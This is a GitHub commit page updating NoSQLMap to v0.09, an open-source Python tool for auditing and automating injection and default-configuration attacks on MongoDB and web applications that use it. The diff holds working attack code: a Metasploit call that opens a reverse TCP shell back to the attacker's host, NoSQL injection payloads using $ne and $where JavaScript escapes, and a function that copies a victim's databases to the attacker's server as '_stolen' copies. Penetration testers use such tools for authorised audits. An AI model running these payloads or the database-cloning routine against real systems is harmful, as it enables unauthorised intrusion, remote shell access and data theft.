Skip to content

Commit e246b6c

Browse files
committed
v0.09
1 parent 4832edf commit e246b6c

File tree

2 files changed

+73
-35
lines changed

2 files changed

+73
-35
lines changed

README

+2-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
NoSQLMap v0.06
1+
NoSQLMap v0.09
2+
http://www.nosqlmap.net
23

34
Introduction:
45
NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool SQLmap, and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, "Abusing NoSQL Databases". Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.

nosqlmap.py

+71-34
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@
2323
import pymongo
2424
import subprocess
2525

26-
#Set a list so we can track whether options are set or not
26+
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
2727
global optionSet
2828
optionSet = [False,False,False,False,False,False]
2929

@@ -32,7 +32,7 @@ def mainMenu():
3232
select = True
3333
while select:
3434
os.system('clear')
35-
print "NoSQLMap v0.08a-by Russell Butturini([email protected])"
35+
print "NoSQLMap v0.09-by Russell Butturini([email protected])"
3636
print "\n"
3737
print "1-Set options (do this first)"
3838
print "2-NoSQL DB Access Attacks"
@@ -47,12 +47,16 @@ def mainMenu():
4747
elif select == "2":
4848
if optionSet[0] == True:
4949
netAttacks(victim)
50+
51+
#Check minimum required options
5052
else:
5153
raw_input("Target not set! Check options. Press enter to continue...")
5254
mainMenu()
5355

5456

57+
5558
elif select == "3":
59+
#Check minimum required options
5660
if (optionSet[0] == True) and (optionSet[2] == True):
5761
webApps()
5862

@@ -76,7 +80,7 @@ def options():
7680
global myIP
7781
global myPort
7882

79-
83+
#Set default value if needed
8084
if optionSet[0] == False:
8185
victim = "Not Set"
8286
if optionSet[1] == False:
@@ -107,22 +111,23 @@ def options():
107111

108112
if select == "1":
109113
victim = raw_input("Enter the host IP/DNS name: ")
110-
print "Target set to " + victim + "\n"
114+
print "\nTarget set to " + victim + "\n"
111115
optionSet[0] = True
112116
options()
113117

114118
elif select == "2":
115119
webPort = raw_input("Enter the HTTP port for web apps: ")
116-
print "HTTP port set to " + webPort + "\n"
120+
print "\nHTTP port set to " + webPort + "\n"
117121
optionSet[1] = True
118122
options()
119123

120124
elif select == "3":
121125
uri = raw_input("Enter URI Path (Press enter for no URI): ")
122-
print "URI Path set to " + uri + "\n"
126+
print "\nURI Path set to " + uri + "\n"
123127
optionSet[2] = True
124128
options()
125129

130+
#NOT IMPLEMENTED YET FOR USE
126131
elif select == "4":
127132
httpMethod = True
128133
while httpMethod:
@@ -161,8 +166,10 @@ def options():
161166
def netAttacks(target):
162167
mgtOpen = False
163168
webOpen = False
169+
#This is a global for future use with other modules; may change
164170
global dbList
165171

172+
#Check for default config
166173
try:
167174
conn = pymongo.MongoClient(target,27017)
168175
print "MongoDB port open on " + target + ":27017!"
@@ -176,6 +183,7 @@ def netAttacks(target):
176183

177184

178185
try:
186+
#Future rev: Add web management interface parsing
179187
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
180188
if mgtRespCode == 200:
181189
print "MongoDB web management open at " + mgtUrl + ". Check this out!"
@@ -186,7 +194,7 @@ def netAttacks(target):
186194
print "MongoDB web management closed."
187195

188196
if mgtOpen == True:
189-
197+
#Ths is compiling server info?????
190198
print "Server Info:"
191199
serverInfo = conn.server_info()
192200
print serverInfo
@@ -205,11 +213,12 @@ def netAttacks(target):
205213
getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)?")
206214

207215
if getShell == "y" or getShell == "Y":
208-
#try:
209-
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
216+
#Launch Metasploit exploit
217+
try:
218+
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
210219

211-
#except:
212-
# print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
220+
except:
221+
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
213222

214223
raw_input("Press enter to continue...")
215224
return()
@@ -219,6 +228,10 @@ def netAttacks(target):
219228
def webApps():
220229
paramName = []
221230
paramValue = []
231+
vulnAddrs = []
232+
possAddrs = []
233+
234+
#Verify app is working.
222235
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
223236

224237
appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
@@ -242,6 +255,8 @@ def webApps():
242255
injectString = randInjString(int(injectSize))
243256
print "Using " + injectString + " for injection testing.\n"
244257

258+
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
259+
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
245260
randomUri = buildUri(appURL,injectString)
246261
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
247262
randLength = int(len(urllib.urlopen(randomUri).read()))
@@ -262,101 +277,121 @@ def webApps():
262277

263278
if (randInjDelta >= 100) and (injLen != 0) :
264279
print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter! Injection works!"
280+
vulnAddrs.append(neqUri)
265281

266282
elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
267283
print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
284+
possAddrs.append(neqUri)
268285

269286
elif (randInjDelta == 0):
270287
print "Random string response size and not equals injection were the same. Injection did not work."
271288
else:
272289
print "Injected response was smaller than random response. Injection may have worked but requires verification."
290+
possAddrs.append(neqUri)
273291

274292
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
275293
print " Injecting " + whereStrUri
294+
276295
whereStrLen = int(len(urllib.urlopen(whereStrUri).read()))
277296
whereStrDelta = abs(whereStrLen - randLength)
278297

279298
if (whereStrDelta >= 100) and (whereStrLen > 0):
280299
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter! Where injection works!"
300+
vulnAddrs.append(whereStrUri)
281301

282302
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
283303
print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
284-
304+
possAddrs.append(whereStrUri)
305+
285306
elif (whereStrDelta == 0):
286307
print "Random string response size and $where injection were the same. Injection did not work."
287308

288309
else:
289310
print "Injected response was smaller than random response. Injection may have worked but requires verification."
311+
possAddrs.append(whereStrUri)
290312

291313
print "\n"
292314
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
293315
print " Injecting " + whereIntUri
294316

295317
whereIntLen = int(len(urllib.urlopen(whereIntUri).read()))
296318
whereIntDelta = abs(whereIntLen - randLength)
297-
#print "whereIntLen debug: " + str(whereIntLen)
298-
#print "whereIntDelta debug: " + str(whereIntDelta)
299319

300320
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
301321
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
302-
322+
vulnAddrs.append(whereIntUri)
323+
303324
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
304325
print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
305-
326+
possAddrs.append(whereIntUri)
327+
306328
elif (whereIntDelta == 0):
307329
print "Random string response size and $where injection were the same. Injection did not work."
308330

309331
else:
310332
print "Injected response was smaller than random response. Injection may have worked but requires verification."
311-
#Start a single record attack
333+
possAddrs.append(whereIntUri)
334+
335+
#Start a single record attack in case the app expects only one record back
312336

313337
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
314338
print " Injecting " + whereOneStr
315339

316-
if (str(urllib.urlopen(whereOneStr).read()).find('Error') != -1):
317-
whereOneStrLen = int(len(urllib.urlopen(whereOneStr).read()))
318-
whereOneStrDelta = abs(whereOneStrLen - randLength)
319-
else:
320-
whereOneStrDelta = 0
340+
341+
whereOneStrLen = int(len(urllib.urlopen(whereOneStr).read()))
342+
whereOneStrDelta = abs(whereOneStrLen - randLength)
321343

322344
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
323345
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter! Where injection works!"
346+
vulnAddrs.append(whereOneStr)
324347

325348
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
326349
print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
327-
350+
possAddrs.append(whereOneStr)
351+
328352
elif (whereOneStrDelta == 0):
329353
print "Random string response size and $where single injection were the same. Injection did not work."
330354

331355
else:
332356
print "Injected response was smaller than random response. Injection may have worked but requires verification."
357+
possAddrs.append(whereOneStr)
358+
333359
print "\n"
334360
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
335361
print " Injecting " + whereOneInt
336362

337-
if (str(urllib.urlopen(whereOneInt).read()).find('Error') != -1):
338-
whereOneIntLen = int(len(urllib.urlopen(whereOneInt).read()))
339-
whereOneIntDelta = abs(whereIntLen - randLength)
340363

341-
else:
342-
whereOneIntDelta = 0
364+
whereOneIntLen = int(len(urllib.urlopen(whereOneInt).read()))
365+
whereOneIntDelta = abs(whereIntLen - randLength)
343366

344367
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
345368
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
369+
vulnAddrs.append(whereOneInt)
346370

347371
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
348372
print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
349-
373+
possAddrs.append(whereOneInt)
374+
350375
elif (whereOneIntDelta == 0):
351376
print "Random string response size and $where single record injection were the same. Injection did not work."
352-
377+
353378
else:
354379
print "Injected response was smaller than random response. Injection may have worked but requires verification."
355-
380+
possAddrs.append(whereOneInt)
381+
382+
print "\n"
383+
print "Vunerable URLs:"
384+
print "\n".join(vulnAddrs)
385+
print "\n"
386+
print ""
387+
print "Possibly vulnerable URLS:"
388+
print"\n".join(possAddrs)
389+
356390
raw_input("Press enter to continue...")
357391
return()
358392

359393
def randInjString(size):
394+
#add more specific params (such as only letters, only numbers, etc.)
360395
chars = string.ascii_letters + string.digits
361396
return ''.join(random.choice(chars) for x in range(size))
362397

@@ -369,6 +404,7 @@ def buildUri(origUri, randValue):
369404
global whereOneStr
370405
global whereOneInt
371406

407+
#Split the string between the path and parameters, and then split each parameter
372408
split_uri = origUri.split("?")
373409
params = split_uri[1].split("&")
374410

@@ -393,9 +429,9 @@ def buildUri(origUri, randValue):
393429
evilUri += paramName[x] + "=" + randValue + "&"
394430
neqUri += paramName[x] + "[$ne]=" + randValue + "&"
395431
whereStrUri += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
396-
whereIntUri += paramName[x] + "=a; return db.a.find(); var dummy='!" + "&"
432+
whereIntUri += paramName[x] + "=a; return db.a.find(); var dummy=1" + "&"
397433
whereOneStr += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
398-
whereOneInt += paramName[x] + "=a; return db.a.findOne(); var dummy='!" + "&"
434+
whereOneInt += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&"
399435
else:
400436
evilUri += paramName[x] + "=" + paramValue[x] + "&"
401437
neqUri += paramName[x] + "=" + paramValue[x] + "&"
@@ -405,7 +441,7 @@ def buildUri(origUri, randValue):
405441
whereOneInt += paramName[x] + "=" + paramValue[x] + "&"
406442

407443
x += 1
408-
#Clip the last & off
444+
#Clip the extra & off the end of the URL
409445
evilUri = evilUri[:-1]
410446
neqUri = neqUri[:-1]
411447
whereStrUri = whereStrUri[:-1]
@@ -430,6 +466,7 @@ def stealDBs(myDB):
430466
stealDBs(myDB)
431467

432468
try:
469+
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
433470
myDBConn = pymongo.MongoClient(myDB,27017)
434471
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
435472
cloneAnother = raw_input("Database cloned. Copy another?")

0 commit comments

Comments
 (0)